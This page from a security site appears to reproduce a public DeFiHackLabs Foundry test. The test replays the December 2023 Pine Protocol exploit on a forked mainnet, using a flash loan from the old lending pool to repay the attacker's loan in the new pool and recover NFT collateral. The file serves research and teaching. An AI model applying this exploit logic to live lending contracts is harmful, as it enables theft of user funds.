Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/PineProtocol_exp.sol

Public reproduction file for dataset entry PineProtocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/PineProtocol_exp.sol117 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~90K (info from hacked.slowmist.io)
8// Attacker : https://etherscan.io/address/0x05324c970713450ba0bc12efd840034fcb0a4baa
9// Attacker Contract : https://etherscan.io/address/0x1d5586da44328f28bfbbf59b808a87584355b3ef
10// Vulnerable Contracts : https://etherscan.io/address/0x2405913d54fc46eeaf3fb092bfb099f46803872f
11// https://etherscan.io/address/0xc3f4659588b13f23e09ec54783a3c407e39ad589
12// NFT buy Tx: https://explorer.phalcon.xyz/tx/eth/0x2f328016764ecf1f57fda0f5490087a5ddba83706b51cf518bdbd7e65ae2383b
13// Borrow Tx: https://explorer.phalcon.xyz/tx/eth/0xf4f254c3c6b64ded778b5af292c6ab6ed886c1bdd8988510bdc0ca0cf7f9857e
14// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d
16// @Analysis
17// https://medium.com/neptune-mutual/analysis-of-the-pine-protocol-exploit-e09dbcb80ca0
18// https://twitter.com/MistTrack_io/status/1738131780459430338
20interface IERC721LendingPool {
21 function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes memory _params) external;
23 function repay(uint256 nftID, uint256 repayAmount, address pineWallet) external returns (bool);
25 function _loans(
26 uint256
27 )
28 external
29 view
30 returns (
31 uint256 loanStartBlock,
32 uint256 loanExpireTimestamp,
33 uint32 interestBPS1000000XBlock,
34 uint32 maxLTVBPS,
35 uint256 borrowedWei,
36 uint256 returnedWei,
37 uint256 accuredInterestWei,
38 uint256 repaidInterestWei,
39 address borrower
40 );
43contract ContractTest is Test {
44 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
45 IERC721LendingPool private constant ERC721LendingPool02Old =
46 IERC721LendingPool(0x2405913d54fC46eEAF3Fb092BfB099F46803872f);
47 IERC721LendingPool private constant ERC721LendingPool02New =
48 IERC721LendingPool(0xC3f4659588b13f23E09Ec54783A3c407e39ad589);
49 IERC721 private constant PPG = IERC721(0xBd3531dA5CF5857e7CfAA92426877b022e612cf8);
50 address private constant pineGnosisSafe = 0xc490E4646A91C3CBaFa8c55540c94Dcd0212037e;
51 address private constant pineExploiter = 0x05324c970713450bA0Bc12EfD840034FCB0A4BAa;
52 uint256 private constant collateralTokenId = 3324;
54 function setUp() public {
55 vm.createSelectFork("mainnet", 18_835_344);
56 vm.label(address(WETH), "WETH");
57 vm.label(address(ERC721LendingPool02Old), "ERC721LendingPool02Old");
58 vm.label(address(ERC721LendingPool02New), "ERC721LendingPool02New");
59 vm.label(address(PPG), "PPG");
60 vm.label(address(pineGnosisSafe), "pineGnosisSafe");
61 vm.label(address(pineExploiter), "pineExploiter");
62 }
64 function testExploit() public {
65 emit log_named_decimal_uint(
66 "[Before loan repay] Vault WETH balance after borrowing ~4 WETH to exploiter",
67 WETH.balanceOf(pineGnosisSafe),
68 18
69 );
70 emit log_named_address(
71 "[Before loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral",
72 PPG.ownerOf(collateralTokenId)
73 );
74 (,,,, uint256 borrowedWei,,,, address borrower) = ERC721LendingPool02New._loans(collateralTokenId);
76 console.log(
77 "[Before loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s",
78 borrowedWei,
79 borrower
80 );
81 console.log("---Exploit start---");
82 console.log("1. Taking flashloan from the old lending pool");
83 bytes memory params = abi.encode(collateralTokenId, address(ERC721LendingPool02New), pineGnosisSafe);
84 vm.prank(address(this), pineExploiter);
85 ERC721LendingPool02Old.flashLoan(address(this), address(WETH), WETH.balanceOf(pineGnosisSafe), params);
86 console.log("---Exploit end---");
87 emit log_named_decimal_uint(
88 "[After loan repay] Vault WETH balance (nothing has changed and exploiter successfully repayed his ~4 WETH loan)",
89 WETH.balanceOf(pineGnosisSafe),
90 18
91 );
92 emit log_named_address(
93 "[After loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral",
94 PPG.ownerOf(collateralTokenId)
95 );
96 (,,,, borrowedWei,,,, borrower) = ERC721LendingPool02New._loans(collateralTokenId);
98 console.log(
99 "[After loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s",
100 borrowedWei,
101 borrower
102 );
103 }
105 function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes memory _params) external {
106 vm.startPrank(address(this), pineExploiter);
107 WETH.approve(address(ERC721LendingPool02New), type(uint256).max);
108 console.log("2. Using flashloaned WETH amount from old lending pool to repay loan in new lending pool");
109 ERC721LendingPool02New.repay(collateralTokenId, _amount, address(0));
110 // Exploiter send to attack contract additional 0.3 WETH to repay the flashloan in the old pool
111 deal(address(WETH), address(this), WETH.balanceOf(address(this)) + 0.3 ether);
112 console.log("3. Repaying flashloan by transferring WETH straight to the Vault");
113 uint256 amountToTransfer = _amount - WETH.balanceOf(pineGnosisSafe);
114 WETH.transfer(pineGnosisSafe, amountToTransfer);
115 vm.stopPrank();
116 }

Analysis

Dataset entry

Public Foundry test for “PineProtocol” (2023-12-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x05324c970713450ba0bc12efd840034fcb0a4baa

  • Attacker

    0x1d5586da44328f28bfbbf59b808a87584355b3ef

  • Vulnerable Contract

    0x2405913d54fc46eeaf3fb092bfb099f46803872f

  • Attack Tx

    0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d

File record

Name
PineProtocol
Path
src/test/2023-12/PineProtocol_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e2c9b6c0b57677743abee8e7d0cd78efd39dea05
Language
Solidity
Size
118 lines
Date
2023-12-22
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/PineProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e2c9b6c0b57677743abee8e7d0cd78efd39dea05, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.